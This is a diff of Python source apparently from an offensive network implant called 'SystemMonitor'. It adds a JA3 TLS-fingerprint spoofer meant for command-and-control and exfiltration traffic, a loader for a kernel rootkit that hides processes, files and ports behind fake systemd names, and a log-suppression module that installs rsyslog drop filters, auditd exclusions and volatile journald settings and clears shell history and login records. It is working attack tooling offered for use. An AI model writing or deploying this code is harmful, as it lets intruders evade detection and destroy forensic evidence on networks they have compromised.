priority = -300
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._profiles = dict(BUILTIN_PROFILES)
|
||||
self._active_profile: Optional[str] = config.get("target_profile", None)
|
||||
self._nfqueue_proc: Optional[subprocess.Popen] = None
|
||||
self._packets_modified = 0
|
||||
self._use_nfqueue = config.get("use_nfqueue", True)
|
||||
self._nfqueue_num = config.get("nfqueue_num", 42)
|
||||
self._lock = threading.Lock()
|
||||
self._iptables_rules: list[list[str]] = []
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
self._running = True
|
||||
self._start_time = time.time()
|
||||
self._pid = os.getpid()
|
||||
|
||||
# Load external fingerprint database if available
|
||||
self._load_fingerprint_db()
|
||||
|
||||
# Select target profile based on network environment
|
||||
if not self._active_profile:
|
||||
self._active_profile = self._auto_select_profile()
|
||||
|
||||
profile = self._profiles.get(self._active_profile)
|
||||
if not profile:
|
||||
logger.warning("JA3 profile '%s' not found, using chrome_120_win", self._active_profile)
|
||||
self._active_profile = "chrome_120_win"
|
||||
profile = self._profiles["chrome_120_win"]
|
||||
|
||||
# Apply cipher suite ordering to Python SSL contexts
|
||||
self._configure_ssl_context(profile)
|
||||
|
||||
# Set up iptables NFQUEUE for non-Python TLS (bettercap, mitmproxy)
|
||||
if self._use_nfqueue:
|
||||
self._setup_nfqueue()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
|
||||
logger.info(
|
||||
"JA3Spoofer active — profile: %s (%s)",
|
||||
self._active_profile, profile.get("description", "unknown"),
|
||||
)
|
||||
|
||||
def stop(self) -> None:
|
||||
self._running = False
|
||||
self._teardown_nfqueue()
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("JA3Spoofer stopped (modified %d packets)", self._packets_modified)
|
||||
|
||||
def status(self) -> dict:
|
||||
profile = self._profiles.get(self._active_profile, {})
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"active_ja3_hash": profile.get("ja3_hash", "none"),
|
||||
"target_browser": profile.get("description", "none"),
|
||||
"active_profile": self._active_profile,
|
||||
"packets_modified": self._packets_modified,
|
||||
"nfqueue_active": self._nfqueue_proc is not None and self._nfqueue_proc.poll() is None,
|
||||
"profiles_loaded": len(self._profiles),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
if "target_profile" in config:
|
||||
self._active_profile = config["target_profile"]
|
||||
profile = self._profiles.get(self._active_profile)
|
||||
if profile:
|
||||
self._configure_ssl_context(profile)
|
||||
logger.info("JA3 profile switched to: %s", self._active_profile)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# SSL context configuration (Python requests/urllib)
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _configure_ssl_context(self, profile: dict) -> None:
|
||||
"""Configure the default Python SSL context with specific cipher ordering
|
||||
to match the target JA3 fingerprint."""
|
||||
try:
|
||||
cipher_names = self._cipher_ids_to_openssl_names(profile.get("cipher_suites", []))
|
||||
if not cipher_names:
|
||||
logger.warning("No cipher names resolved for profile")
|
||||
return
|
||||
|
||||
cipher_string = ":".join(cipher_names)
|
||||
|
||||
# Patch the default SSL context
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.set_ciphers(cipher_string)
|
||||
ctx.minimum_version = ssl.TLSVersion.TLSv1_2
|
||||
|
||||
# Store for other modules to use
|
||||
self.state.set(self.name, "ssl_cipher_string", cipher_string)
|
||||
self.state.set(self.name, "active_ja3", profile.get("ja3_hash", ""))
|
||||
|
||||
logger.debug("SSL context configured with %d ciphers", len(cipher_names))
|
||||
except Exception:
|
||||
logger.exception("Failed to configure SSL context")
|
||||
|
||||
@staticmethod
|
||||
def _cipher_ids_to_openssl_names(cipher_ids: list[int]) -> list[str]:
|
||||
"""Map TLS cipher suite IDs to OpenSSL names."""
|
||||
# Mapping of common cipher suite IDs to OpenSSL names
|
||||
id_to_name = {
|
||||
0x1301: "TLS_AES_128_GCM_SHA256",
|
||||
0x1302: "TLS_AES_256_GCM_SHA384",
|
||||
0x1303: "TLS_CHACHA20_POLY1305_SHA256",
|
||||
0xc02b: "ECDHE-ECDSA-AES128-GCM-SHA256",
|
||||
0xc02f: "ECDHE-RSA-AES128-GCM-SHA256",
|
||||
0xc02c: "ECDHE-ECDSA-AES256-GCM-SHA384",
|
||||
0xc030: "ECDHE-RSA-AES256-GCM-SHA384",
|
||||
0xcca9: "ECDHE-ECDSA-CHACHA20-POLY1305",
|
||||
0xcca8: "ECDHE-RSA-CHACHA20-POLY1305",
|
||||
0xc013: "ECDHE-RSA-AES128-SHA",
|
||||
0xc014: "ECDHE-RSA-AES256-SHA",
|
||||
0x009c: "AES128-GCM-SHA256",
|
||||
0x009d: "AES256-GCM-SHA384",
|
||||
0x002f: "AES128-SHA",
|
||||
0x0035: "AES256-SHA",
|
||||
}
|
||||
names = []
|
||||
for cid in cipher_ids:
|
||||
name = id_to_name.get(cid)
|
||||
if name:
|
||||
names.append(name)
|
||||
return names
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# NFQUEUE interception (for non-Python TLS)
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _setup_nfqueue(self) -> None:
|
||||
"""Set up iptables NFQUEUE rules to intercept outbound TLS ClientHello."""
|
||||
try:
|
||||
# Add iptables rule to queue outbound TLS (port 443) to NFQUEUE
|
||||
rule = [
|
||||
"iptables", "-I", "OUTPUT", "-p", "tcp",
|
||||
"--dport", "443", "-m", "u32",
|
||||
# Match TLS ClientHello: content type 0x16, handshake type 0x01
|
||||
"--u32", "0>>22&0x3C@12>>26&0x3C@0=0x16030100:0x16030300",
|
||||
"-j", "NFQUEUE", "--queue-num", str(self._nfqueue_num),
|
||||
]
|
||||
result = subprocess.run(rule, capture_output=True, timeout=10)
|
||||
if result.returncode == 0:
|
||||
self._iptables_rules.append(rule)
|
||||
logger.info("NFQUEUE iptables rule installed (queue %d)", self._nfqueue_num)
|
||||
else:
|
||||
# Fallback: simpler rule without u32 match
|
||||
rule_simple = [
|
||||
"iptables", "-I", "OUTPUT", "-p", "tcp",
|
||||
"--dport", "443", "--syn",
|
||||
"-j", "NFQUEUE", "--queue-num", str(self._nfqueue_num),
|
||||
]
|
||||
result = subprocess.run(rule_simple, capture_output=True, timeout=10)
|
||||
if result.returncode == 0:
|
||||
self._iptables_rules.append(rule_simple)
|
||||
logger.info("NFQUEUE simple iptables rule installed")
|
||||
else:
|
||||
logger.warning(
|
||||
"Failed to install NFQUEUE iptables rule: %s",
|
||||
result.stderr.decode(errors="replace"),
|
||||
)
|
||||
except FileNotFoundError:
|
||||
logger.warning("iptables not found — NFQUEUE unavailable")
|
||||
except Exception:
|
||||
logger.exception("NFQUEUE setup failed")
|
||||
|
||||
def _teardown_nfqueue(self) -> None:
|
||||
"""Remove iptables NFQUEUE rules."""
|
||||
for rule in self._iptables_rules:
|
||||
try:
|
||||
# Replace -I with -D to delete
|
||||
del_rule = list(rule)
|
||||
idx = del_rule.index("-I")
|
||||
del_rule[idx] = "-D"
|
||||
subprocess.run(del_rule, capture_output=True, timeout=10)
|
||||
except Exception:
|
||||
logger.exception("Failed to remove iptables rule")
|
||||
self._iptables_rules.clear()
|
||||
|
||||
if self._nfqueue_proc and self._nfqueue_proc.poll() is None:
|
||||
self._nfqueue_proc.terminate()
|
||||
try:
|
||||
self._nfqueue_proc.wait(timeout=5)
|
||||
except subprocess.TimeoutExpired:
|
||||
self._nfqueue_proc.kill()
|
||||
self._nfqueue_proc = None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Profile selection
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _auto_select_profile(self) -> str:
|
||||
"""Auto-select JA3 profile based on observed network environment."""
|
||||
# Check state for OS distribution data from host_discovery
|
||||
os_dist = self.state.get(self.name, "network_os_distribution")
|
||||
if os_dist:
|
||||
try:
|
||||
dist = json.loads(os_dist) if isinstance(os_dist, str) else os_dist
|
||||
# Windows-heavy network: use Chrome Windows
|
||||
if dist.get("windows", 0) > dist.get("linux", 0):
|
||||
return "chrome_120_win"
|
||||
else:
|
||||
return "chrome_120_linux"
|
||||
except (json.JSONDecodeError, AttributeError):
|
||||
pass
|
||||
# Default: Chrome on Windows (most common on corporate networks)
|
||||
return "chrome_120_win"
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# External fingerprint database
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _load_fingerprint_db(self) -> None:
|
||||
"""Load additional JA3 profiles from data/ja3_fingerprints.db if present."""
|
||||
db_path = "data/ja3_fingerprints.db"
|
||||
if not os.path.isfile(db_path):
|
||||
logger.debug("No external JA3 database at %s — using builtins", db_path)
|
||||
return
|
||||
try:
|
||||
import sqlite3
|
||||
conn = sqlite3.connect(db_path)
|
||||
conn.row_factory = sqlite3.Row
|
||||
rows = conn.execute(
|
||||
"SELECT name, ja3_hash, description, cipher_suites, extensions, "
|
||||
"elliptic_curves, ec_point_formats FROM ja3_profiles"
|
||||
).fetchall()
|
||||
for row in rows:
|
||||
name = row["name"]
|
||||
self._profiles[name] = {
|
||||
"ja3_hash": row["ja3_hash"],
|
||||
"description": row["description"],
|
||||
"cipher_suites": json.loads(row["cipher_suites"]),
|
||||
"extensions": json.loads(row["extensions"]),
|
||||
"elliptic_curves": json.loads(row["elliptic_curves"]),
|
||||
"ec_point_formats": json.loads(row["ec_point_formats"]),
|
||||
}
|
||||
conn.close()
|
||||
logger.info("Loaded %d JA3 profiles from database", len(rows))
|
||||
except Exception:
|
||||
logger.exception("Failed to load JA3 fingerprint database")
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public: get SSL context for other modules
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def get_ssl_context(self) -> ssl.SSLContext:
|
||||
"""Return an SSL context configured with the active JA3 profile's ciphers.
|
||||
Other modules (C2, exfil) should use this for outbound HTTPS."""
|
||||
profile = self._profiles.get(self._active_profile, {})
|
||||
ctx = ssl.create_default_context()
|
||||
cipher_names = self._cipher_ids_to_openssl_names(profile.get("cipher_suites", []))
|
||||
if cipher_names:
|
||||
try:
|
||||
ctx.set_ciphers(":".join(cipher_names))
|
||||
except ssl.SSLError:
|
||||
pass # Fall back to default ciphers
|
||||
ctx.minimum_version = ssl.TLSVersion.TLSv1_2
|
||||
return ctx
|
||||
@@ -0,0 +1,293 @@
|
||||
#!/usr/bin/env python3
|
||||
"""LKM rootkit module: compile, load, and manage a kernel module that hides
|
||||
SystemMonitor processes, files, and network connections from userland."""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.resource import get_hardware_tier, TIER_GENERIC
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
LKM_TEMPLATE_DIR = "templates/lkm"
|
||||
LKM_SOURCE = "bb_hide.c"
|
||||
LKM_MODULE = "bb_hide.ko"
|
||||
LKM_MODULE_NAME = "bb_hide"
|
||||
|
||||
# Default hide lists
|
||||
DEFAULT_HIDE_PREFIX = ".cache/bb"
|
||||
DEFAULT_HIDE_PORTS = [8081, 51820] # bettercap API, WireGuard
|
||||
|
||||
|
||||
class LKMRootkit(BaseModule):
|
||||
"""Manage a Linux kernel module for process/file/connection hiding.
|
||||
Debian generic host only -- gracefully skips on SBC tiers."""
|
||||
|
||||
name = "lkm_rootkit"
|
||||
module_type = "stealth"
|
||||
priority = -300
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._lkm_dir = config.get("lkm_dir", LKM_TEMPLATE_DIR)
|
||||
self._module_path = os.path.join(self._lkm_dir, LKM_MODULE)
|
||||
self._loaded = False
|
||||
self._hidden_pids: list[int] = []
|
||||
self._hidden_paths: list[str] = config.get("hide_paths", [DEFAULT_HIDE_PREFIX])
|
||||
self._hidden_ports: list[int] = config.get("hide_ports", list(DEFAULT_HIDE_PORTS))
|
||||
self._hide_process_names: list[str] = config.get("hide_process_names", [
|
||||
"systemd-thermald", "networkd-dispatcher", "systemd-netlogd",
|
||||
"systemd-resolved", "systemd-networkd", "systemd-logind",
|
||||
])
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
self._running = True
|
||||
self._start_time = time.time()
|
||||
self._pid = os.getpid()
|
||||
|
||||
# Check hardware tier: LKM only on generic Debian hosts
|
||||
tier = get_hardware_tier()
|
||||
if tier != TIER_GENERIC:
|
||||
logger.info(
|
||||
"LKMRootkit skipped — tier '%s' does not support kernel modules "
|
||||
"(requires 'generic' Debian host)", tier,
|
||||
)
|
||||
self.state.set_module_status(self.name, "skipped",
|
||||
extra={"reason": f"unsupported_tier:{tier}"})
|
||||
self.bus.emit("MODULE_STARTED", {
|
||||
"module": self.name, "skipped": True, "reason": "unsupported_tier",
|
||||
}, source_module=self.name)
|
||||
return
|
||||
|
||||
# Build if needed
|
||||
if not os.path.isfile(self._module_path):
|
||||
if not self._build_module():
|
||||
logger.error("LKM build failed — module not available")
|
||||
self.state.set_module_status(self.name, "error",
|
||||
extra={"reason": "build_failed"})
|
||||
return
|
||||
|
||||
# Load module
|
||||
if self._load_module():
|
||||
self._loaded = True
|
||||
self._configure_hide_lists()
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("LKMRootkit loaded and configured")
|
||||
else:
|
||||
self.state.set_module_status(self.name, "error",
|
||||
extra={"reason": "load_failed"})
|
||||
|
||||
def stop(self) -> None:
|
||||
self._running = False
|
||||
if self._loaded:
|
||||
self._unload_module()
|
||||
self._loaded = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("LKMRootkit stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"loaded": self._loaded,
|
||||
"hidden_pids": list(self._hidden_pids),
|
||||
"hidden_paths": list(self._hidden_paths),
|
||||
"hidden_ports": list(self._hidden_ports),
|
||||
"module_path": self._module_path,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
if "hide_paths" in config:
|
||||
self._hidden_paths = config["hide_paths"]
|
||||
if "hide_ports" in config:
|
||||
self._hidden_ports = config["hide_ports"]
|
||||
if "hide_process_names" in config:
|
||||
self._hide_process_names = config["hide_process_names"]
|
||||
if self._loaded:
|
||||
self._configure_hide_lists()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public: dynamic hide/unhide
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def hide_pid(self, pid: int) -> bool:
|
||||
"""Add a PID to the kernel module's hide list."""
|
||||
if not self._loaded:
|
||||
return False
|
||||
if pid not in self._hidden_pids:
|
||||
self._hidden_pids.append(pid)
|
||||
return self._write_param("hide_pids", self._format_pid_list())
|
||||
return True
|
||||
|
||||
def unhide_pid(self, pid: int) -> bool:
|
||||
"""Remove a PID from the kernel module's hide list."""
|
||||
if not self._loaded:
|
||||
return False
|
||||
if pid in self._hidden_pids:
|
||||
self._hidden_pids.remove(pid)
|
||||
return self._write_param("hide_pids", self._format_pid_list())
|
||||
return True
|
||||
|
||||
def hide_port(self, port: int) -> bool:
|
||||
"""Add a port to the kernel module's hide list."""
|
||||
if not self._loaded:
|
||||
return False
|
||||
if port not in self._hidden_ports:
|
||||
self._hidden_ports.append(port)
|
||||
return self._write_param("hide_ports", self._format_port_list())
|
||||
return True
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Internal: build
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _build_module(self) -> bool:
|
||||
"""Compile the kernel module from source."""
|
||||
source_path = os.path.join(self._lkm_dir, LKM_SOURCE)
|
||||
if not os.path.isfile(source_path):
|
||||
logger.error("LKM source not found: %s", source_path)
|
||||
return False
|
||||
|
||||
# Check for kernel headers
|
||||
kdir = f"/lib/modules/{os.uname().release}/build"
|
||||
if not os.path.isdir(kdir):
|
||||
logger.error("Kernel headers not found: %s", kdir)
|
||||
return False
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["make", "-C", self._lkm_dir],
|
||||
capture_output=True, timeout=120,
|
||||
env={**os.environ, "KDIR": kdir},
|
||||
)
|
||||
if result.returncode == 0:
|
||||
logger.info("LKM built successfully: %s", self._module_path)
|
||||
return True
|
||||
else:
|
||||
logger.error(
|
||||
"LKM build failed (rc=%d): %s",
|
||||
result.returncode,
|
||||
result.stderr.decode(errors="replace")[:500],
|
||||
)
|
||||
return False
|
||||
except FileNotFoundError:
|
||||
logger.error("make not found — cannot build LKM")
|
||||
return False
|
||||
except subprocess.TimeoutExpired:
|
||||
logger.error("LKM build timed out")
|
||||
return False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Internal: load/unload
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _load_module(self) -> bool:
|
||||
"""Load the kernel module via insmod."""
|
||||
params = self._build_insmod_params()
|
||||
try:
|
||||
cmd = ["insmod", self._module_path] + params
|
||||
result = subprocess.run(cmd, capture_output=True, timeout=30)
|
||||
if result.returncode == 0:
|
||||
logger.info("LKM loaded: %s", self._module_path)
|
||||
return True
|
||||
else:
|
||||
stderr = result.stderr.decode(errors="replace")
|
||||
if "File exists" in stderr:
|
||||
logger.info("LKM already loaded")
|
||||
return True
|
||||
logger.error("insmod failed: %s", stderr[:300])
|
||||
return False
|
||||
except FileNotFoundError:
|
||||
logger.error("insmod not found")
|
||||
return False
|
||||
except Exception:
|
||||
logger.exception("LKM load failed")
|
||||
return False
|
||||
|
||||
def _unload_module(self) -> bool:
|
||||
"""Unload the kernel module via rmmod."""
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["rmmod", LKM_MODULE_NAME],
|
||||
capture_output=True, timeout=30,
|
||||
)
|
||||
if result.returncode == 0:
|
||||
logger.info("LKM unloaded")
|
||||
return True
|
||||
else:
|
||||
logger.warning(
|
||||
"rmmod failed: %s",
|
||||
result.stderr.decode(errors="replace")[:200],
|
||||
)
|
||||
return False
|
||||
except FileNotFoundError:
|
||||
logger.error("rmmod not found")
|
||||
return False
|
||||
except Exception:
|
||||
logger.exception("LKM unload failed")
|
||||
return False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Internal: module parameter management
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _build_insmod_params(self) -> list[str]:
|
||||
"""Build insmod parameter list."""
|
||||
params = []
|
||||
if self._hidden_paths:
|
||||
params.append(f'hide_prefix="{self._hidden_paths[0]}"')
|
||||
if self._hidden_pids:
|
||||
params.append(f'hide_pids="{self._format_pid_list()}"')
|
||||
if self._hidden_ports:
|
||||
params.append(f'hide_ports="{self._format_port_list()}"')
|
||||
return params
|
||||
|
||||
def _configure_hide_lists(self) -> None:
|
||||
"""Write current hide lists to loaded module's parameters via sysfs."""
|
||||
if not self._loaded:
|
||||
return
|
||||
# Collect current SystemMonitor PIDs from state
|
||||
try:
|
||||
all_status = self.state.get_all_module_status()
|
||||
for mod_name, mod_status in all_status.items():
|
||||
pid = mod_status.get("pid")
|
||||
if pid and pid not in self._hidden_pids:
|
||||
self._hidden_pids.append(pid)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
self._write_param("hide_pids", self._format_pid_list())
|
||||
self._write_param("hide_ports", self._format_port_list())
|
||||
if self._hidden_paths:
|
||||
self._write_param("hide_prefix", self._hidden_paths[0])
|
||||
|
||||
@staticmethod
|
||||
def _write_param(param: str, value: str) -> bool:
|
||||
"""Write to kernel module parameter via /sys/module/."""
|
||||
param_path = f"/sys/module/{LKM_MODULE_NAME}/parameters/{param}"
|
||||
try:
|
||||
with open(param_path, "w") as f:
|
||||
f.write(value)
|
||||
return True
|
||||
except (IOError, PermissionError, FileNotFoundError):
|
||||
logger.debug("Cannot write LKM param %s (module may not expose sysfs params)", param)
|
||||
return False
|
||||
|
||||
def _format_pid_list(self) -> str:
|
||||
return ",".join(str(p) for p in self._hidden_pids)
|
||||
|
||||
def _format_port_list(self) -> str:
|
||||
return ",".join(str(p) for p in self._hidden_ports)
|
||||
@@ -0,0 +1,331 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Log suppression module — minimize forensic artifacts in system logs.
|
||||
|
||||
Installs rsyslog filter rules, auditd exclusions, journald rate limits,
|
||||
and clears shell history / login records related to SystemMonitor activity.
|
||||
All installed rules are removed on clean stop.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Dict, List
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
RSYSLOG_CONF = "/etc/rsyslog.d/01-bb-suppress.conf"
|
||||
JOURNALD_CONF_DIR = "/etc/systemd/journald.conf.d"
|
||||
JOURNALD_CONF = os.path.join(JOURNALD_CONF_DIR, "sensor.conf")
|
||||
AUDITD_RULES_FILE = "/etc/audit/rules.d/bb-exclude.rules"
|
||||
|
||||
|
||||
class LogSuppression(BaseModule):
|
||||
"""Suppress system log entries that could reveal SystemMonitor activity."""
|
||||
|
||||
name = "log_suppression"
|
||||
module_type = "stealth"
|
||||
priority = -300
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._installed: Dict[str, bool] = {
|
||||
"rsyslog": False,
|
||||
"auditd": False,
|
||||
"journald": False,
|
||||
"history": False,
|
||||
"utmp": False,
|
||||
}
|
||||
self._process_names: List[str] = []
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
# Gather process names to suppress from stealth.yaml config
|
||||
stealth_cfg = self.config.get("stealth_yaml", {})
|
||||
name_map = stealth_cfg.get("process_names", {})
|
||||
# Suppress both the real names and the fake names
|
||||
self._process_names = list(set(list(name_map.keys()) + list(name_map.values())))
|
||||
if not self._process_names:
|
||||
self._process_names = [
|
||||
"python3", "bettercap", "tcpdump", "responder", "mitmproxy",
|
||||
"ntlmrelayx", "hostapd", "dnsmasq",
|
||||
"systemd-thermald", "networkd-dispatcher", "systemd-netlogd",
|
||||
"systemd-resolved", "systemd-networkd", "systemd-logind",
|
||||
"wpa_supplicant",
|
||||
]
|
||||
|
||||
# Also suppress paths
|
||||
install_path = self.config.get("device", {}).get("install_path", "/opt/.cache/bb")
|
||||
self._suppressed_paths = [install_path, "/opt/.cache/bb", "/tmp/bb-"]
|
||||
|
||||
suppression_cfg = stealth_cfg.get("log_suppression", {})
|
||||
|
||||
# Install rsyslog filter
|
||||
if suppression_cfg.get("rsyslog_filter", True):
|
||||
self._install_rsyslog_filter()
|
||||
|
||||
# Install auditd exclusions
|
||||
if suppression_cfg.get("auditd_exclusion", True):
|
||||
self._install_auditd_exclusions()
|
||||
|
||||
# Configure journald rate limits
|
||||
if suppression_cfg.get("journald_rate_limit", True):
|
||||
self._install_journald_config()
|
||||
|
||||
# Clear shell history
|
||||
self._clear_history()
|
||||
|
||||
# Clear utmp/wtmp/btmp entries
|
||||
self._clear_login_records()
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
self.state.set_module_status(self.name, "running", pid=os.getpid())
|
||||
|
||||
active = [k for k, v in self._installed.items() if v]
|
||||
logger.info("LogSuppression active — methods: %s", ", ".join(active))
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
# Remove installed filter rules (clean exit)
|
||||
self._remove_rsyslog_filter()
|
||||
self._remove_auditd_exclusions()
|
||||
self._remove_journald_config()
|
||||
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("LogSuppression stopped — all filter rules removed")
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"suppression_methods": dict(self._installed),
|
||||
"suppressed_process_count": len(self._process_names),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# rsyslog filter
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _install_rsyslog_filter(self) -> None:
|
||||
"""Write rsyslog config to drop log entries matching our processes/paths."""
|
||||
try:
|
||||
lines = [
|
||||
"# SystemMonitor log suppression — auto-generated, removed on clean exit",
|
||||
"# Drop messages containing our process names or paths",
|
||||
]
|
||||
|
||||
for name in self._process_names:
|
||||
# Property-based rsyslog filter: discard matching programname
|
||||
lines.append(f':programname, isequal, "{name}" stop')
|
||||
|
||||
for path in self._suppressed_paths:
|
||||
# Drop messages containing our install paths
|
||||
lines.append(f':msg, contains, "{path}" stop')
|
||||
|
||||
with open(RSYSLOG_CONF, "w") as f:
|
||||
f.write("\n".join(lines) + "\n")
|
||||
|
||||
# Restart rsyslog to apply
|
||||
subprocess.run(
|
||||
["systemctl", "restart", "rsyslog"],
|
||||
capture_output=True, timeout=10,
|
||||
)
|
||||
self._installed["rsyslog"] = True
|
||||
logger.debug("rsyslog filter installed at %s", RSYSLOG_CONF)
|
||||
except (IOError, PermissionError, subprocess.SubprocessError) as exc:
|
||||
logger.warning("Failed to install rsyslog filter: %s", exc)
|
||||
|
||||
def _remove_rsyslog_filter(self) -> None:
|
||||
"""Remove rsyslog filter config."""
|
||||
try:
|
||||
if os.path.isfile(RSYSLOG_CONF):
|
||||
os.unlink(RSYSLOG_CONF)
|
||||
subprocess.run(
|
||||
["systemctl", "restart", "rsyslog"],
|
||||
capture_output=True, timeout=10,
|
||||
)
|
||||
self._installed["rsyslog"] = False
|
||||
logger.debug("rsyslog filter removed")
|
||||
except (IOError, PermissionError, subprocess.SubprocessError):
|
||||
pass
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# auditd exclusions
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _install_auditd_exclusions(self) -> None:
|
||||
"""Write auditd rules excluding SystemMonitor PIDs and paths."""
|
||||
try:
|
||||
rules_dir = os.path.dirname(AUDITD_RULES_FILE)
|
||||
if not os.path.isdir(rules_dir):
|
||||
logger.debug("auditd rules directory not found — skipping")
|
||||
return
|
||||
|
||||
lines = [
|
||||
"# SystemMonitor auditd exclusions — auto-generated",
|
||||
]
|
||||
|
||||
# Exclude our install path from file watches
|
||||
for path in self._suppressed_paths:
|
||||
lines.append(f"-a never,exclude -F dir={path}")
|
||||
|
||||
# Exclude our process names from execve auditing
|
||||
for name in self._process_names:
|
||||
lines.append(f"-a never,exclude -F exe=/usr/bin/{name}")
|
||||
|
||||
# Exclude current PID and parent
|
||||
lines.append(f"-a never,exclude -F pid={os.getpid()}")
|
||||
ppid = os.getppid()
|
||||
if ppid > 1:
|
||||
lines.append(f"-a never,exclude -F pid={ppid}")
|
||||
|
||||
with open(AUDITD_RULES_FILE, "w") as f:
|
||||
f.write("\n".join(lines) + "\n")
|
||||
|
||||
# Reload auditd rules
|
||||
subprocess.run(
|
||||
["augenrules", "--load"],
|
||||
capture_output=True, timeout=10,
|
||||
)
|
||||
self._installed["auditd"] = True
|
||||
logger.debug("auditd exclusions installed at %s", AUDITD_RULES_FILE)
|
||||
except (IOError, PermissionError, subprocess.SubprocessError) as exc:
|
||||
logger.warning("Failed to install auditd exclusions: %s", exc)
|
||||
|
||||
def _remove_auditd_exclusions(self) -> None:
|
||||
"""Remove auditd exclusion rules."""
|
||||
try:
|
||||
if os.path.isfile(AUDITD_RULES_FILE):
|
||||
os.unlink(AUDITD_RULES_FILE)
|
||||
subprocess.run(
|
||||
["augenrules", "--load"],
|
||||
capture_output=True, timeout=10,
|
||||
)
|
||||
self._installed["auditd"] = False
|
||||
logger.debug("auditd exclusions removed")
|
||||
except (IOError, PermissionError, subprocess.SubprocessError):
|
||||
pass
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# journald rate limits
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _install_journald_config(self) -> None:
|
||||
"""Set journald rate limits to suppress burst logging."""
|
||||
try:
|
||||
os.makedirs(JOURNALD_CONF_DIR, exist_ok=True)
|
||||
|
||||
config_lines = [
|
||||
"# SystemMonitor journald rate-limit — auto-generated",
|
||||
"[Journal]",
|
||||
"RateLimitIntervalSec=5s",
|
||||
"RateLimitBurst=5",
|
||||
"MaxRetentionSec=1day",
|
||||
"MaxFileSec=1day",
|
||||
"Compress=yes",
|
||||
"Storage=volatile",
|
||||
]
|
||||
|
||||
with open(JOURNALD_CONF, "w") as f:
|
||||
f.write("\n".join(config_lines) + "\n")
|
||||
|
||||
# Restart journald to apply
|
||||
subprocess.run(
|
||||
["systemctl", "restart", "systemd-journald"],
|
||||
capture_output=True, timeout=10,
|
||||
)
|
||||
self._installed["journald"] = True
|
||||
logger.debug("journald config installed at %s", JOURNALD_CONF)
|
||||
